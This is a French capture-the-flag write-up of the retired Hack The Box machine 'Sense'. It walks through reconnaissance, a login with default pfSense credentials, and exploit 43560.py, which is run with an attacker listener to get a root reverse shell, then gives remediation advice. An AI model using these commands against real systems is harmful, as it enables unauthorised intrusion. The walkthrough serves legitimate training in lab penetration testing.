Article original : Keep Calm and Hack The Box - Sense

Hack The Box (HTB) est une plateforme en ligne qui vous permet de tester vos compétences en matière de tests d'intrusion.

Elle contient plusieurs défis qui sont constamment mis à jour. Certains d'entre eux simulent des scénarios réels et d'autres s'orientent plus vers un style de défi CTF.

Note : Seuls les write-ups des machines HTB retirées sont autorisés.

Image

Sense est assez simple dans l'ensemble. Il démontre les risques des mauvaises pratiques de mot de passe ainsi que l'exposition de fichiers internes sur un système public.

Nous allons utiliser les outils suivants pour pirater la boîte sur une Kali Linux box :

  • nmap
  • dirbuster
  • searchsploit

Commençons !

Étape 1 - Reconnaissance

La première étape avant d'exploiter une machine est de faire un peu de scanning et de reconnaissance.

C'est l'une des parties les plus importantes car elle déterminera ce que vous pouvez essayer d'exploiter par la suite. Il est toujours préférable de passer plus de temps sur cette phase pour obtenir autant d'informations que possible.

Scan de ports

J'utiliserai Nmap (Network Mapper). Nmap est un utilitaire gratuit et open source pour la découverte de réseau et l'audit de sécurité.

Il utilise des paquets IP bruts pour déterminer quels hôtes sont disponibles sur le réseau, quels services ces hôtes offrent, quels systèmes d'exploitation ils exécutent, quel type de filtres de paquets/pare-feu sont utilisés, et des dizaines d'autres caractéristiques.

Il existe de nombreuses commandes que vous pouvez utiliser avec cet outil pour scanner le réseau. Si vous souhaitez en savoir plus, vous pouvez consulter la documentation ici.

Image

J'utilise la commande suivante pour effectuer un scan intensif :

nmap -A -v 10.10.10.60

-A : Active la détection du système d'exploitation, la détection de version, le scan de scripts et le traceroute

-v : Augmente le niveau de verbosité

sense.htb : nom d'hôte pour la boîte Sense

Si vous trouvez les résultats un peu trop écrasants, vous pouvez essayer ceci :

nmap 10.10.10.60

Image

Nous pouvons voir qu'il y a 2 ports ouverts incluant :

Port 80, le plus souvent utilisé par le protocole de transfert hypertexte (HTTP)

Port 443, port standard pour tout le trafic HTTP sécurisé

### Scan de répertoires

Toujours dans la phase de scanning et de reconnaissance, j'utilise maintenant DirBuster. DirBuster est une application Java multithread conçue pour forcer brutalement les répertoires et les noms de fichiers sur les serveurs web/applications.

Vous pouvez lancer DirBuster en tapant cette commande sur le terminal :

dirbuster

ou en recherchant l'application :

Image Ancien Kali

Image Nouveau Kali

L'application ressemble à ceci, où vous pouvez spécifier l'URL cible. Dans notre cas, ce sera https://10.10.10.60. Vous pouvez sélectionner une liste de mots avec la liste des dirs/fichiers en cliquant sur le bouton Parcourir :

Image

J'utilise le directory-list-2.3-medium.txt pour cette recherche. Nous pouvons voir quelques fichiers intéressants ici :

Image

Étape 2 - Visite des fichiers obtenus lors de la phase de reconnaissance

Naviguons vers le fichier changelog.txt. Nous obtenons plus d'informations sur un journal des modifications de sécurité, y compris la correction des vulnérabilités et la chronologie.

Image

Un autre fichier intéressant est system-users.txt qui contient un nom d'utilisateur et une indication pour le mot de passe.

Image

Étape 3 - Visite de la page web

Naviguons vers le site web. Nous voyons un panneau pfSense.

Image

pfSense est une distribution logicielle open source de pare-feu/routeur basée sur FreeBSD. Il est installé sur un ordinateur physique ou une machine virtuelle pour faire un pare-feu/routeur dédié pour un réseau. Il peut être configuré et mis à niveau via une interface basée sur le web, et ne nécessite aucune connaissance du système FreeBSD sous-jacent pour gérer - Wikipedia

Image https://www.pfsense.org/

Faisons une recherche Google pour voir si nous pouvons trouver le nom d'utilisateur et le mot de passe par défaut pour pfSense. Bingo ! Nous trouvons une documentation sur Netgate Docs.

Image https://docs.netgate.com/pfsense/en/latest/solutions/m1n1wall/getting-started.html

J'essaie le nom d'utilisateur Rohit et le mot de passe pfsense sur la page de connexion et je suis connecté ! Je regarde le tableau de bord et d'autres informations que je pourrais recueillir. Nous pouvons voir quelle version spécifique nous utilisons - 2.1.3-RELEASE (amd64).

Image

Étape 4 - Recherche d'un exploit

J'utilise Searchsploit pour vérifier s'il existe un exploit connu. Searchsploit est un outil de recherche en ligne de commande pour Exploit Database.

J'utilise la commande suivante :

searchsploit pfsense

Image

J'obtiens plus de détails sur un exploit avec :

searchsploit -x 43560.py

Image

Image

Vous pouvez également consulter la Exploit Database pour trouver le même exploit.

Image https://www.exploit-db.com/exploits/43560

J'obtiens plus d'informations avec :

searchsploit -p 43560.py

Image

Je peux voir où il se trouve sur ma boîte Kali. Je copie le fichier dans mon dossier Sense avec :

cp /usr/share/exploitdb/exploits/linux/remote/43560.py .

et pour vérifier s'il a été copié dans ce dossier :

ls -la

Image

Sur un terminal (côté droit), je configure un écouteur avec :

nv -nvlp 1234

Je configure ensuite l'exploit (côté gauche) avec :

python 43560.py --rhost 10.10.10.60 --lhost 10.10.14.13 --lport 1234 --username rohit --password pfsense

J'ai obtenu un shell en tant que root !

Image

Je commence à recueillir quelques informations de base. id retourne l'ID utilisateur réel du processus appelant.

Image

Étape 5 - Recherche du flag user.txt

Je navigue vers le dossier rohit depuis home.

Je peux lister tous les fichiers/dossiers avec la commande suivante :

ls -la

Je me déplace ensuite vers le dossier home avec :

cd home

Image

Et je trouve le flag utilisateur ! Je vérifie le contenu du fichier avec :

cat user.txt

Étape 5 - Recherche du flag root.txt

Trouvons maintenant le flag root. Je navigue jusqu'à root.

Je trouve le fichier root.txt et vérifie son contenu avec :

cat root.txt

Image

Félicitations ! Vous avez trouvé les deux flags.

Remédiations

  • Ne stockez pas d'informations sensibles telles que les identifiants de connexion ou votre statut de correctif dans un fichier en texte brut sur le serveur web
  • L'application pfsense doit être corrigée à la dernière version
  • Assurez-vous de changer le mot de passe par défaut lorsque vous configurez de nouvelles applications/serveurs/plateformes
  • Appliquez le principe du moindre privilège à tous vos systèmes et services

N'hésitez pas à poser des questions ou à partager avec vos amis :)

Vous pouvez voir plus d'articles de la série Restez calme et pirater la boîte ici.

Vous pouvez me suivre sur Twitter ou sur LinkedIn.

Et n'oubliez pas de #GetSecure, #BeSecure & #StaySecure !

Image